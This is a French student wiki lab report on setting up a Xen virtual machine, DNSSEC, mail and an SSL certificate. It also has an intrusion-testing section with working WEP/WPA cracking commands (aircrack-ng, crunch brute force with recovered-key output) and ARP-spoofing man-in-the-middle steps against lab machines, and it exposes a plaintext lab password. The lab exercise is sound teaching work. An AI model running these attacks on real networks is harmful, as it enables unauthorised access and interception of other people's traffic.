TP sysres IMA2a5 2020/2021 G2 : Différence entre versions

De Wiki d'activités IMA
(Génération certificat)
(Génération certificat)
Ligne 260 : Ligne 260 :
 
* Créer une boite mail pour l'adresse admin@gherbomel.site '''Etape devant fonctionner avant achat du certificat'''
 
* Créer une boite mail pour l'adresse admin@gherbomel.site '''Etape devant fonctionner avant achat du certificat'''
 
** Installation de postfix <code>apt install postfix</code>
 
** Installation de postfix <code>apt install postfix</code>
choisir site internet
+
**choisir site internet
mettre gherbomel.site
+
**mettre gherbomel.site
 
** Dans <code>/etc/alliases</code> rajouter la ligne <code>admin: root</code>
 
** Dans <code>/etc/alliases</code> rajouter la ligne <code>admin: root</code>
 
** Puis entrer la commande : <code>newaliases</code>
 
** Puis entrer la commande : <code>newaliases</code>

Version du 14 novembre 2020 à 21:21

Introduction

Présentation du projet

Partie Hardware:

Serveur capbreton

Remplacement du rack dans la baie

Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux

Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.

Nous devions aussi relier les connexions fibre et cuivre. Mais pour cela, nous devions déterminer quel port correspond avec quelle interface. Pour cela nous avons utilisé la commande ethtool pour faire clignoter le port correspondant à l'interface choisie.

ethtool -p eth7

ethtool -p eth1

Fibre Cuivre
Eth1 X
Eth7 X

Borne Wifi

Machine Virtuelle

Creation machine virtuelle

Connexion au serveur de virtualisation

Dans le cadre de ce TP notre machine virtuelle va être installé sur le serveur nommé Capbreton. Pour procéder à la création de la machine virtuelle nous allons donc nous connecter sur Capbreton par l'intermédiaire de SSH avec la commande suivante :

ssh capbreton.plil.info

Installation de la machine virtuelle

Nous allons utiliser Xen un logiciel de virtualisation qui permet de faire tourner plusieurs machines virtuelle sur une machine. Notre machine possédera les caractéristiques suivantes :

  • Nom : concorde
  • Adresse IP : 193.48.57.165
  • Masque Réseau : 255.255.255.248
  • Routeur : 193.48.57.163

La ligne de commande suivante permet la création de la machine avec les caractéristiques défini ci-dessus :

xen-create-image --hostname concorde --ip 193.48.57.165 --netmask 255.255.255.248 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf

Pour voir l'avancement de l'installation il suffit de faire la commande: tail -f /var/log/xen-tools/concorde.cfg

Configuration de la machine virtuelle

Dans cette partie, nous allons procéder à la configuration de la machine virtuelle. Pour cela nous allons devoir modifier le fichier de configuration situé au chemin suivant : /etc/xen/concorde.cfg

Une fois dans le fichier de configuration, il faudra modifier la ligne commençant par vif situé dans la partie "Networking", la ligne doit devenir :

vif = ['mac=16:3E:85:9F:6E, bridge=IMA2a5']

Ensuite, nous avons défini un mot de passe plus simple grâce à la commande : passwd Pour la suite du TP le mot de passe sera : glopglopglop

Enfin voici quelques commande de base pour utiliser Xen :

  • Voir les machine virtuelle démarrées : xen list
  • Démarrer sa machine virtuelle : xen create /etc/xen/concorde.cfg
  • Obtenir le terminal de la machine virtuelle : xen console concorde

Creation répertoire Home et Var

Creation des volumes logiques

lvcreate -L10G -n concorde-home virtual

lvcreate -L10G -n concorde-var virtual


Les commandes suivantes permettent de formater une partition mke2fs /dev/virtual/concorde-home

mke2fs /dev/virtual/concorde-var

Dans /etc/xen/concorde.cfg

disk    	= [
                	'file:/usr/local/xen/domains/rafale/disk.img,xvda2,w',
                	'file:/usr/local/xen/domains/rafale/swap.img,xvda1,w',               
                       'phy:/dev/virtual/rafale-home,xvdb1,w',
                       'phy:/dev/virtual/rafale-var,xvdb2,w',
                 ]

Le fichier /etc/fstab permet à la machine virtuelle de connaitre l'existence de ses nouveaux espace mémoire, nous devons donc le modifier :

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb1 /home ext4 defaults 0 2
/dev/xvdb2 /var ext4 defaults 0 2


Enfin pour finaliser l'opération il faut monté le dossier /var. Cependant cela ne peut être fait directement, il faut donc passé par un dossier tampon (ici /mnt)

mount /dev/xvdb2 /mnt
mv /var/* /mnt
umount /mnt
mount -a

Pour être sur que l'opération à correctement été réalisée taper lsblk qui permet de voir le système de fichier

Activation du SSH

Cela peut être intéressant de pouvoir se connecter directement sur notre machine virtuelle via sont adresse ip pour cela nous devons installer ssh apt install openssh-server

ensuite il faut modifier un fichier de connexion pour permet l'accès grâce à SSH. Dans le fichier /etc/ssh/sshd_config nous allons décommenter la ligne suivante : permitRootLogin

Ensuite un redémarrage de ssh permettra de prendre en code les nouvelles modification service ssh restart

Apache

apt install apache2

Nous allons vérifier que le port d'écoute est le 443. Il faut donc aller dans /etc/apache2/ports.conf

On installe openSSL: apt-get install openssl

Configuration SSH

vi /etc/ssh/ssh_config

  • Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
  • On redémarre le ssh avec la commande service ssh restart

Configuration DNS

Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site" sudo apt install bind9

Sécurisation du serveur DNS

Dans le fichier /etc/bind/named.conf.options ajouter dnssec-enable yes; Nous allons créer un dossier dans lequel nous allons générer les clés

cd /etc/bind
mkdir gherbomel.site.dnssec

Génération des clés:

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE gherbomel.site
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE gherbomel.site

Avec la commande mv on renomme les fichiers qui seront :

gherbomel.site-ksk.key
gherbomel.site-ksk.private
gherbomel.site-zsk.key
gherbomel.site-zsk.private

On apporte quelques modifications à /etc/bind/db.gherbomel.site:

$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-ksk.key
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-zsk.key

dnssec-signzone -o gherbomel.site -k gherbomel.site-ksk ../db.gherbomel.site gherbomel.site-zsk

Cependant la fonction ne fonctionne pas avec le message d'erreur suivant : No non-KSK DNSKEY found; supply a ZSK or use '-z'.

Par la suite en régénérant les clés cela à fonctionner.

Dans le fichier named.conf.local on modifie la ligne suivante : file "/etc/bind/db.gherbomel.site.signed" Puis faire un service bind restart

Ensuite il faut ajouter les clés ksk dans gandi.net dans l'onglet DNSSEC. Il faut porter une attention à choisir le bon chiffrement (RSA/SHA1) Il faut donc copier le contenu de la commande suivante : cat gherbomel.site-ksk.key

Génération certificat

boite mail : apt install postfix choisir site internet mettre gherbomel.site dans /etc/alliases rajouter la ligne admin: root + commande : "newaliases" on installe mailx avec la commande apt install bsd-mailx

il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site

  • passer le parametre version a 2
  • ajouter la ligne IN MX 100 ns
  • ajouter www IN A 193.48.57.165

ensuite il faut restart le service bind avec service restart bind

je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail

ajouter photo

Grâce à OpenSSL nous allons générer une clé :

  • Création d'un dossier qui contiendra le certificat le chemin de ce dossier est /etc/apache2/certificat
  • Génération de la clé avec la commande : openssl req -nodes -newkey rsa:2048 -sha256 -keyout gherbomel.key -out gherbomel.csr
 Generating a RSA private key
 .+++++
 ..............+++++
 writing new private key to 'gherbomel.key'
 -----
 You are about to be asked to enter information that will be incorporated
 into your certificate request.
 What you are about to enter is what is called a Distinguished Name or a DN.
 There are quite a few fields but you can leave some blank
 For some fields there will be a default value,
 If you enter '.', the field will be left blank.
 -----
 Country Name (2 letter code) [AU]:FR
 State or Province Name (full name) [Some-State]:Nord
 Locality Name (eg, city) []:Lille
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
 Organizational Unit Name (eg, section) []:IMA2A5      
 Common Name (e.g. server FQDN or YOUR name) []:gherbomel.site
 Email Address []:herbomelguillaume@gmail.com
 Please enter the following 'extra' attributes
 to be sent with your certificate request
 A challenge password []:glopglopglop
 An optional company name []:
  • Acheter un certificat:
    • Aller sur le site [Gandi.net[1]]
    • Aller dans la rubrique Certificat SSL
    • Cliquer sur "Acheter"
    • Copier la clé générée sur le site web et demander une confirmation par mail qui sera envoyé dans mon cas sur admin@gherbomel.site
 -----BEGIN CERTIFICATE REQUEST-----
 MIIC/jCCAeYCAQAwgZsxCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD
 VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDzANBgNVBAsMBklN
 QTJBNTEXMBUGA1UEAwwOZ2hlcmJvbWVsLnNpdGUxKjAoBgkqhkiG9w0BCQEWG2hl
 cmJvbWVsZ3VpbGxhdW1lQGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP
 ADCCAQoCggEBALyUY5/y1jqSKb9ui+5UGO/+C2Ge9Aipcp38YCB9sgb7St7y0DJU
 EeOTZf2emczzEWmCpIJUVGy0F5xCpC6i1aqUEC6+EsjilsWqFomNVDJUiQwVu+IO
 PQ/ILaZv/m8+XG0m9NcgkguzIR5Gj1kQYtQYHe7JWgddRzTAE/9+/YtfRW6q0qTF
 xy94SEpASRhwnEkkCWzS9zZjUnLzlIPFGQXnuEDC2ALOfjURinLaqKCUjrBKkq61
 +R8PfUDg+uKuRoz44WXH3xJZmVHSDvjYS8ayuovy/kO8KfI4qFGM8/NBY4CslGWN
 OzuLCvqWdrJS/18MTtyzD1N0Yl+75PUnro8CAwEAAaAdMBsGCSqGSIb3DQEJBzEO
 DAxnbG9wZ2xvcGdsb3AwDQYJKoZIhvcNAQELBQADggEBAB9x03pLZaHY2U/pDyjf
 wnnpoIuuObr+8jZXXhfd0doNdpCLGP7PPw728KpMTy+rfuO6e1OfJqxCuMOwTJj+
 KNnWsNKdwub+Hi90sxPF+ZKPAt6VmjSSNHckaO9ujp1Ynag2wn1HNA7bMICd4zfo
 A5mt/CRgddKmNnuijckkwzzvXEe+Eia66qAjDyC2ThZQQ2xZcFa/Zu7u4kH99WrK
 f1TN9vxSrZ1uuu3/PwXMmfzhMMolhJuSQcHLglAzKfXJ8uzQS6fuNeH1TB3YcV8S
 Z3Yb583DmqK0RDx9cqFizl2ThXxo3D5bwCv96wmy0grhVRKOridbZVI3XjVDi4ci
 vRc=
 -----END CERTIFICATE REQUEST-----
  • Créer une boite mail pour l'adresse admin@gherbomel.site Etape devant fonctionner avant achat du certificat
    • Installation de postfix apt install postfix
    • choisir site internet
    • mettre gherbomel.site
    • Dans /etc/alliases rajouter la ligne admin: root
    • Puis entrer la commande : newaliases

on installe mailx avec la commande apt install bsd-mailx

il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site

  • passer le parametre version a 2
  • ajouter la ligne IN MX 100 ns
  • ajouter www IN A 193.48.57.165

ensuite il faut restart le service bind avec service restart bind

je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail

ajouter photo ensuite on reçoit un mail de confirmation avec un lien et un mot de passe.

Il faudra download deux fichiers et les mettres dans ....

Tests d'intrusion

Pour cracker le wifi nous allons installer aircrack-ng

apt-get aircrack-ng

Il faut faire en sorte que le firmware de la clé WIFI soit installé

apt-get install firmware-linux-nonfree

WEP

Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.

Avec la commande : ip-l nous allons conntaire les différentes interfaces.

Ensuite nous allons activer le mode moniteur de l'interface avec la commande suivante : sudo airmon-ng start wlx40a5ef05a110

Avec la commande : sudo airmon-ng nous pouvons voir tous les paquets

Nous allons regarder plus particulièrement sur l'interface wlan0mon, le canal 9 avec le SSID 04:DA:D2:9C:50:51 et envoyer les résultats dans un fichier nommé dataCrack.txt

airodump-ng wlan0mon -c 9 --bssid 04:DA:D2:9C:50:51 --write dataCrack.txt

A partir de la commande suivante : aircrack-ng dataCrack.txt-02.cap le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.

WPA

Grâce à cette commande nous allons rechercher le paquet avec le handshake : airodump-ng -c 4 --bssid 00:14:1B:60:8C:21 --write dataCrackWPA

On va génerer un dictionnaire de code ayant 8 caractères comprenant les caractères 0,1,2,3,4,5,6,7,8,9 crunch 8 8 0123456789 >> Dictionnaire.txt

La commande suivante permettra de faire une attaque par force brute : aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap

Pour améliorer le temps de résolution qui est de l'ordre de 5 heures, nous pouvons subdiviser le dictionnaire et tester à partir d'autres machines

Aircrack-ng 1.5.2 
     [01:02:31] 20127478/102795810 keys tested (2803.06 k/s) 
     Time left: 8 hours, 11 minutes, 32 seconds                19.58%
                          KEY FOUND! [ 20111111 ]


     Master Key     : B2 87 CD DD 51 07 AE 60 27 DF EC 8F 90 28 7D 85 
                      DE DC 38 A4 66 39 28 A5 27 75 73 78 F1 71 FA F5 
     Transient Key  : 0D AE D1 8A 3C 3C 2C 20 5B 4A 88 05 B6 FA CD C2 
                      91 2F 6B 4A FE B5 68 05 C3 86 92 C3 EC 11 A3 E3 
                      F0 1B BD 8C 18 87 F4 5E 60 59 D8 7A E9 2B D2 FB 
                      00 27 28 84 9E 12 4A EA 5E BC 2F 29 36 0F 0F 0E 
     EAPOL HMAC     : 83 15 59 EA 43 52 95 38 E2 C6 AD 8F 2F 37 90 29

L'homme du milieu

Pour modifier la variable /proc/sys/net/ipv4/ip_forward il faut faire la commande : echo 1 > /proc/sys/net/ipv4/ip_forward

On se fait passer pour le routeur au près de zabeth03 : arpspoof -t zabeth03 -i bridge 172.26.145.254

A partir de ce moment l'ordinateur se fait passer pour le routeur, nous pouvons donc voir le contenu des messages envoyé depuis une page en html

Rajouter IMAGE

Sécurisation de données

on crée 3 partitions de 1GO pour faire du raid5 expliquer briefement ce qu'est le raid5

lvcreate -L1G -n ima2a5-concorde-d1 virtual lvcreate -L1G -n ima2a5-concorde-d2 virtual lvcreate -L1G -n ima2a5-concorde-d3 virtual

mke2fs /dev/virtual/ima2a5-concorde-d1 mke2fs /dev/virtual/ima2a5-concorde-d2 mke2fs /dev/virtual/ima2a5-concorde-d3

on fait halt sur la machine virtuelle puis on redemarre concorde à partir de capbreton

Chiffrement de données

RAID5 :

apt-get install mdadm

mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5

Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait lsblk.

mdadm: /dev/xvdb3 appears to contain an ext2fs file system

      size=1048576K  mtime=Thu Jan  1 00:00:00 1970

mdadm: /dev/xvdb4 appears to contain an ext2fs file system

      size=1048576K  mtime=Thu Jan  1 00:00:00 1970

mdadm: /dev/xvdb5 appears to contain an ext2fs file system

      size=1048576K  mtime=Thu Jan  1 00:00:00 1970


https://doc.ubuntu-fr.org/raid_logiciel

Ensuite on fait la deamonisation pour qu'il soit lancé à chaque démarrage

sudo mdadm --daemonise /dev/md0

Chiffrement clé usb:

apt install lvm2

apt install cryptsetup